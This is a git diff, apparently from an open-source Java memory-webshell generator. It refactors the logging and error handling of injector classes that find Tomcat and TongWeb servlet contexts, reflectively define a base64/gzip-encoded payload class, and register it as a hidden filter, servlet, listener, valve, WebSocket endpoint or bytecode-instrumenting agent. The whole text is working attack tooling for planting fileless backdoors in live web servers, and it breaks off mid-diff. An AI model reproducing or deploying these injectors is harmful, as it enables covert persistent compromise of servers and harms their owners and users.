+ try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index b6e6fe18..bd4c998b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -33,7 +33,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); } } } @@ -53,6 +52,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index 7b1d9549..c6140174 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -33,7 +33,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); } } } @@ -53,6 +52,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Throwable e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Throwable e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index a71f5d5c..c83e4b77 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -13,15 +14,51 @@ import java.util.Set; import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class TomcatFilterInjector { + private String msg = ""; + + public TomcatFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -34,18 +71,6 @@ public class TomcatFilterInjector { return "{{base64Str}}"; } - public TomcatFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object shell = getShell(context); - inject(context, shell); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar @@ -80,22 +105,23 @@ public class TomcatFilterInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object shell) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("filter already injected"); return; } Object filterDef; @@ -139,7 +165,11 @@ public class TomcatFilterInjector { Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter inject success"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -209,6 +239,21 @@ public class TomcatFilterInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index ca9abedb..ba820b88 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -3,32 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; import java.util.zip.GZIPInputStream; /** - * Tomcat Listener 注入器 - * 测试版本: - * jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * * @author pen4uin, ReaJason */ public class TomcatListenerInjector { - public TomcatListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -38,8 +24,47 @@ public class TomcatListenerInjector { return "{{base64Str}}"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public TomcatListenerInjector() { + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += " [/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -66,18 +91,19 @@ public class TomcatListenerInjector { } } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -87,26 +113,26 @@ public class TomcatListenerInjector { List listeners = (List) objects; for (Object o : listeners) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } listeners.add(listener); - System.out.println("listener inject successful"); } else { List arrayList = new ArrayList(Arrays.asList(((Object[]) objects))); for (Object o : arrayList) { if (o.getClass().getName().equals(getClassName())) { - System.out.println("listener already injected"); return; } } arrayList.add(listener); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); - System.out.println("listener inject successful"); } } + @Override + public String toString() { + return msg; + } @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { @@ -152,7 +178,7 @@ public class TomcatListenerInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -200,4 +226,19 @@ public class TomcatListenerInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index a0b3e44f..26f95cfc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; @@ -20,17 +21,45 @@ public class TomcatProxyValveInjector implements InvocationHandler { private Object rawValve; private Object proxyValve; + private String msg = ""; public TomcatProxyValveInjector() { + List contexts = null; try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; } public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { @@ -94,15 +123,17 @@ public class TomcatProxyValveInjector implements InvocationHandler { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") @@ -122,7 +153,11 @@ public class TomcatProxyValveInjector implements InvocationHandler { } Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); setFieldValue(pipeline, fieldName, proxyValve); - System.out.println("proxyValve inject successful"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -170,7 +205,7 @@ public class TomcatProxyValveInjector implements InvocationHandler { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -210,4 +245,19 @@ public class TomcatProxyValveInjector implements InvocationHandler { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index 1307a08c..b8e8e859 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -3,11 +3,15 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -16,17 +20,7 @@ import java.util.zip.GZIPInputStream; */ public class TomcatServletInjector { - public TomcatServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -40,6 +34,45 @@ public class TomcatServletInjector { return "{{urlPattern}}"; } + public TomcatServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -68,24 +101,24 @@ public class TomcatServletInjector { } } - @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object servlet) throws Exception { if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { - System.out.println("servlet already injected"); return; } ClassLoader contextClassLoader = context.getClass().getClassLoader(); @@ -104,7 +137,11 @@ public class TomcatServletInjector { invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); } support56Inject(context, wrapper); - System.out.println("servlet inject success"); + } + + @Override + public String toString() { + return msg; } private void support56Inject(Object context, Object wrapper) throws Exception { @@ -237,4 +274,19 @@ public class TomcatServletInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 9fc33560..87aac842 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -3,34 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; import java.util.zip.GZIPInputStream; /** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Valve 注入器 - * Tested version: - * jdk v1.8.0_275 - * tomcat v8.5.83, v9.0.67 - * - * @author ReaJason + * @author pen4uin, ReaJason */ public class TomcatValveInjector { - public TomcatValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getShell(context); - inject(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -40,6 +24,45 @@ public class TomcatValveInjector { return "{{base64Str}}"; } + public TomcatValveInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -62,42 +85,38 @@ public class TomcatValveInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("all") public void inject(Object context, Object valve) throws Exception { Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object v : valvesList) { + if (v.getClass().getName().contains(getClassName())) { + return; + } } Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); } - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; @@ -144,7 +163,7 @@ public class TomcatValveInjector { } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -172,4 +191,19 @@ public class TomcatValveInjector { throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java index c310bb7e..a993547d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java @@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -18,17 +19,7 @@ import java.util.zip.GZIPInputStream; */ public class TomcatWebSocketInjector { - public TomcatWebSocketInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object obj = getShell(context); - inject(obj, context); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -42,6 +33,44 @@ public class TomcatWebSocketInjector { return "{{base64Str}}"; } + public TomcatWebSocketInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } public List getContext() throws Exception { List contexts = new ArrayList(); @@ -73,21 +102,23 @@ public class TomcatWebSocketInjector { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } @SuppressWarnings("unchecked") - private void inject(Object obj, Object context) throws Exception { + private void inject(Object context, Object obj) throws Exception { Object servletContext = invokeMethod(context, "getServletContext", null, null); Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); if (container == null) { @@ -95,11 +126,10 @@ public class TomcatWebSocketInjector { } if (container == null) { - return; + throw new RuntimeException("container is null"); } if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { - System.out.println("websocket at " + getUrlPattern() + " already exists"); return; } @@ -121,7 +151,11 @@ public class TomcatWebSocketInjector { invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); - System.out.println("websocket at " + getUrlPattern() + " inject successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -197,7 +231,22 @@ public class TomcatWebSocketInjector { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index d94e48ae..801edca6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { for (String targetClass : TARGET_CLASSES) { if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + ".invoke"); } } } @@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index 8b10b822..9b3140a4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -45,7 +45,6 